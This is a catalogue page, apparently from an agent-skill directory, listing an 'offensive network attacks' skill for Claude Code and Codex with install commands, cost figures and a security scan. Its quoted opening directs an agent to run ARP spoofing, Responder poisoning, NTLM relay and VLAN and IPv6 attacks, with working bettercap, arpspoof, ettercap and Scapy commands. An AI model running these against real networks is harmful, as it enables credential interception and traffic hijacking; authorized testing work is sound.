offensive-network-attacks

A guide to authorized security testing of local networks, including attacks that intercept traffic or misuse network setup protocols.

In plain words
What is it for?
Use it during an approved internal network assessment to inspect traffic and test ARP, name-resolution, DHCP, VLAN, IPv6, and related network attacks.
Why use it?
It explains how to find weaknesses in network trust and identify risks such as credential interception, traffic redirection, and movement between network segments.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/snailsploit/claude-red/offensive-network-attacks
Any agent
npx skills add SnailSploit/Claude-Red --skill offensive-network-attacks
Clone the repo
git clone --depth 1 https://github.com/SnailSploit/Claude-Red

Made for: Claude Code, Codex.

Per session 96 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,721 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00096 $0.05721
Opus 5 $0.00048 $0.02861
Sonnet 5 $0.00019 $0.01144
Haiku 4.5 $0.00010 $0.00572

Measured 3d ago against content hash 2053dfa11437, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade B, and why

offensive-network-attacks scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo bettercap -iface eth0
Skills/network/offensive-network-attacks/SKILL.md · 492 lines

How it starts

The opening of the file, as written. The whole thing — 492 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Network Attacks (Layer 2/3) -- Offensive Methodology

You are attacking Layer 2/3 infrastructure during an authorized internal engagement. ARP, DHCP, broadcast name resolution, VLAN trunking, and IPv6 autoconfiguration are all unauthenticated -- you exploit that trust to intercept credentials, redirect traffic, and cross network boundaries.

Quick Workflow

  1. Map your position -- VLAN, subnet, gateway, DNS, DHCP lease, IPv6 status.
  2. Passively sniff with tcpdump/Wireshark to discover hosts and cleartext credentials.
  3. Run Responder in analyze mode to observe LLMNR/NBT-NS/mDNS queries.
  4. Enable Responder poisoning to capture NTLMv2 hashes.
  5. Relay captured hashes with ntlmrelayx against hosts without SMB signing.
  6. ARP spoof the gateway for targeted MITM and credential interception.
  7. Probe VLAN boundaries via DTP negotiation and 802.1Q double tagging.
  8. Exploit IPv6 autoconfiguration with mitm6 for DNS takeover and NTLM relay.

ARP Spoofing

ARP has no authentication. You send gratuitous ARP replies to associate your MAC with the gateway IP in the victim's cache, routing their traffic through you.

Bettercap ARP Module

sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on

arpspoof and Ettercap

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter

Gratuitous ARP with Scapy

from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)

Read the full file on GitHub · 492 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 492 lines · 96 tokens per session scan B 2053dfa11437

Subscribe to this mod's changes

offensive-network-attacks is a skill published in the GitHub repository SnailSploit/Claude-Red (3,009 stars, last pushed 3d ago), licensed MIT. It adds 96 tokens to every session and 5,721 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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